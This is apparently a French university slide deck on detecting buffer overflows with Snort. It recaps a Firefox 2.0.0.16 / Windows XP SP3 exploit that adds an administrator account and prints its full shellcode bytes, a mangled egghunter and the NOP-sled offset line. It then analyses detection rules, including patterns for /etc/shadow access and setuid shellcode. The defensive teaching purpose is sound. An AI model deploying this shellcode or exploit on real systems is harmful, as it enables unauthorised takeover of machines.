Buffer Overflow Université de Liège 2009-2010
Sommaire 1 Rappel de l attaque 2 Détections évidentes 3 Détections élaborées 4 Autres types d approches et améliorations 5 Analyse de signatures existantes 6 Conclusion
Principes de base Buffer sur la pile. On dépasse le buffer pour écraser le registre %eip. On peut exécuter n importe quel code. BP - 264 buffer BP BP + 4 BP + 8 %ebp (sauvé) %eip (sauvé) buffer + 4 - strlen(shellcode) strlen(shellcode) 4 1 Instructions NOP Shellcode Ret 0
Attaque Exploit pour Firefox 2.0.0.16 sur Windows XP SP3. Codé en Python et imite un serveur HTTP. L attaqué envoie une requête GET. L attaquant envoie le payload. Un compte administrateur est crée sur la machine cible.
Shellcode egg = ( "\xda\xd4\x29\xc9\xb8\xb3\xfe\x8b\x54\xd9\x74\x24\xf4\xb1\x32" "\x5f\x83\xef\xfc\x31\x47\x14\x03\x47\xa7\x1c\x7e\xa8\x2f\xa4" "\x81\x51\xaf\xae\xc7\x6d\x24\xcc\xc2\xf5\x3b\xc2\x46\x4a\x23" "\x97\x06\x75\x52\x4c\xf1\xfe\x60\x19\x03\xef\xb9\xdd\x9d\x43" "\x3d\x1d\xe9\x9c\xfc\x54\x1f\xa2\x3c\x83\xd4\x9f\x94\x70\x11" "\x95\xf1\xf2\x46\x71\xf8\xef\x1f\xf2\xf6\xa4\x54\x5b\x1a\x3a" "\x80\xef\x3e\xb7\x57\x1b\xb7\x9b\x73\xdf\x04\x7c\x4d\x29\xea" "\xd5\xc9\x5e\xac\xe9\x9a\x21\x3c\x81\xed\xbd\x91\x1e\x65\xb6" "\x60\xd8\xf5\x06\x18\x49\x92\x76\x56\x6d\x3d\x1f\xfe\x90\x4b" "\xd1\xa9\x93\xab\x8d\x38\x08\x1a\x37\xba\xb5\x42\x98\x59\x16" "\xed\x83\xe9\x76\x84\x38\x74\x05\x46\xcd\x46\xd9\xf2\x11\xd4" "\x29\xcb\x25\x6a\x7a\x1b\xb2\xab\x5b\x7b\x15\xea\xdf\x3f\x49" "\xca\xf9\x9f\xe7\x77\x72\xc0\x9b\x18\x19\x61\x08\x81\xaf\x0e" "\xa5\x3d\x70\x90\x21\xd0\x19\x7c\xc3\x59\xae\xf2\x72\xe9\x21" "\x81\x07\x31\xcc\x55\xd8\x45\x10\xb9\x59\xe1\x14\xc5\x53")
Egghunter et nops shellcode = ( "툳邐邐䊐橒堂 " "Լ瑚룯䅂䅂懲疯" "꿪 쳌쳌쳌쳌" "쳌쳌쳌쳌") html += "邐" * 1700 # Windows XP SP3 SEH offset
Règles snort Détection du shellcode. alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"windows XP SP3 add user shellcode"; \ content:" DA D4 29 C9 B8 B3 FE 8B 54 D9 74 24 F4 B1 32 \ 5F 83 EF FC 31 47 14 03 47 A7 1C 7E A8 2F A4 "; \ rawbytes; \ classtype:shellcode-detect; \ sid:40404040;) Détection du egghunter. alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"windows Egghunter (ASCII)"; \ pcre:"/6a52.{4}5802.{4}2ecd.{4}053c.{4}745a.{4}b8ef/i"; \ classtype:shellcode-detect; \ sid:41414141;)
Commentaires Règles très spécialisées. Détection plus portée sur le code que sur le dépassement du buffer. Trop dépendante de cet exploit en particulier (risque de faux négatifs). Plus de peur que de mal si une version sur un OS non vulnérable est attaquée (risque de faux positifs).
Introduction Détection portée sur le dépassement du buffer. Détection que l on va faire évoluer pour réduire les risques de faux. Rappel de la ligne de code utilisée : html += "邐" * 1700 # Windows XP SP3 SEH offset
Ébauche de règle snort alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"minimum of 100 NOP x86 instructions (ASCII)"; \ pcre:"/(.{0,4}90){100,}/"; \ classtype:shellcode-detect; \ sid:40404040;) Problème : plusieurs activations selon le MSS négocié. MSS...nop nopnopnop nopnopnop nopnopnop nopnopnop nopnopnop nop...
Règle avec état seh I Introduction d un état (seh). "/(.{0,4}90){100,}/" seh "/(.{0,4}90){100,}/"!"/(.{0,4}90){100,}/"
Règle avec état seh II alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"minimum of 100 NOP x86 instructions (ASCII)"; \ pcre:"/(.{0,4}90){100,}/"; \ classtype:shellcode-detect; \ flowbits:isnotset,seh; \ flowbits:set,seh; \ sid:40404040;) alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (pcre:"/(.{0,4}90){100,}/"; \ flowbits:isset,seh; \ flowbits:noalert; \ sid:41414141;) alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (pcre:!"/(.{0,4}90){100,}/"; \ flowbits:isset,seh; \ flowbits:unset,seh; \ flowbits:noalert; \ sid:42424242;)
Règle avec état seh + ua I Détection du User-Agent. Introduction d un état intermédiaire (ua). "/(.{0,4}90){100,}/" Firefox/2.0.0.16 Windows NT 5.1 ua seh "/(.{0,4}90){100,}/"!"/(.{0,4}90){100,}/"
Règle avec état seh + ua II alert tcp $HOME_NET any -> $HOME_NET $HTTP_PORTS \ (content:"user-agent:"; \ content:"windows NT 5.1"; \ content:"firefox/2.0.0.16"; \ flowbits:set,fox_2_0_0_16_xp; \ flowbits:noalert; \ sid:39393939;) alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"firefox 2.0.0.16 Windows XP SP3 Buffer [...]; \ pcre:"/(.{0,4}90){100,}/"; \ classtype:shellcode-detect; \ flowbits:isset,fox_2_0_0_16_xp; \ flowbits:isnotset,seh; \ flowbits:set,seh; \ sid:40404040;)
Approche comportementale Détecter des instructions pouvant être malveillantes. Une valeur seuil serait mise en place. Trop dépendant des intentions de l attaquant. Meilleur si on détecte la source de ces instructions.
Modification de la forme du shellcode Imaginons un shellcode similaire avec quelques nops insérés entre plusieurs instructions. Le comportement du shellcode est exactement le même. La détection est totalement faussée. Modification de l expression régulière pour qu elle s attende à recevoir des nops entre chaque instruction.
Analyse d URL Répertoire d un chemin ou nom d un fichier dépassant ouvertement la limite imposée par le système de fichiers du serveur. http://.../acbdef...12345678900000 } {{ } /index.html tr es longue cha^ine On ne peut pas anticiper cette limite pour tous les systèmes de fichiers. Mise en place d une valeur seuil "généreuse". Même une version vulnérable du navigateur n est pas toujours sensible à un dépassement de buffer. On préfèrera notre approche élaborée (beaucoup de nops consécutifs sont suspects).
shellcode.rules I alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any \ (msg:"shellcode SGI NOOP"; \ content:" 24 0F 12 4 24 0F 12 4 24 0F 12 4 24 0F 12 4"; \ reference:arachnids,357; \ classtype:shellcode-detect; \ sid:639; \ rev:5;) alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any \ (msg:"shellcode x86 NOOP"; \ content:" 90 90 90 90 90 90 90 90 90 90 90 90 90 90 "; \ depth:128; \ reference:arachnids,181; \ classtype:shellcode-detect; \ sid:648; \ rev:7;)
shellcode.rules II alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any \ (msg:"shellcode sparc setuid 0"; \ content:" 82 10 17 91 D0 08 "; \ reference:arachnids,282; \ classtype:system-call-detect; \ sid:647; \ rev:6;) alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any \ (msg:"shellcode x86 setgid 0"; \ content:" B0 B5 CD 80 "; \ reference:arachnids,284; \ classtype:system-call-detect; \ sid:649; \ rev:8;)
web-attack.rules alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS \ (msg:"web-attacks chmod command attempt"; \ flow:to_server,established; \ content:"/bin/chmod"; \ nocase; \ classtype:web-application-attack; \ sid:1336; \ rev:5;) alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS \ (msg:"web-attacks /etc/shadow access"; \ flow:to_server,established; \ content:"/etc/shadow"; \ nocase; \ classtype:web-application-activity; \ sid:1372; \ rev:5;)
community-web-attack.rules Programme GFI MailSecurity. Tente de valider la longueur des champs Host ou Accept. Échec menant à un buffer overflow. alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS \ (msg:"[...] GFI MailSecurity Management [...] Long Host Parameter"; \ flow:to_server,established; \ content:"host"; \ nocase; pcre:"/^host[^\r\n]{100,}/smi"; \ reference:bugtraq,15081; \ reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19926; \ classtype:attempted-admin; \ sid:100000170; \ rev:2;) Réduction de faux positifs en remplaçant $HTTP_SERVERS par la liste des serveurs qui exécutent ce logiciel.
community-exploit.rules I Composant ActiveX Acrobat/Acrobat Reader. Le navigateur de l attaqué va faire une longue requête HTTP. GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1 Chaîne %00 perçue comme terminaison d URL pour certains serveurs web. Totalité de l URL copiée dans la mémoire du composant ActiveX. Buffer overflow lors de l exécution de la fonction RTLHeapFree(). Exécution de code arbitraire.
community-exploit.rules II alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS \ (msg:"[...] Windows Acrobat Reader Activex Overflow Flowbit"; \ flow:to_server,established; \ pcre:"/.{1050,}/u"; \ flowbits:set,community_uri.size.1050; \ flowbits:noalert; \... rev:2;) alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any \ (msg:"[...] Windows Acrobat Reader Activex Overflow Exploit"; \ flow:to_client,established; content:"content-type 3A "; \ nocase; \ pcre:"/^content-type\x3a\s*application\x2f(pdf vnd\x2efdf vnd\x2eadobe\x2exfdf vnd\x2eadobe\x2exdp+xml vnd\x2e\ adobe\x2exfd+xml)/smi";\ flowbits:isset,community_uri.size.1050; \... rev:2;)
community-exploit.rules III Un PDF pourrait être placé dans une longue hiérarchie (risque de faux positifs). Détecter la chaîne de terminaison %00 pourrait résoudre le problème.
Conclusion I Attaque par buffer overflow facile ou complexe selon les cas. Toujours considérer l absence d exploits comme provisoire. Le responsable de la sécurité d une infrastructure a une responsabilité. Les développeurs devraient se sentir concernés également! Écrire une règle est facile. Écrire une bonne règle est beaucoup moins facile! Même si cette tâche est complexe, nous avons constaté qu il y a moyen de fortement réduire les dégâts pouvant être causés par un facteur humain.
Conclusion II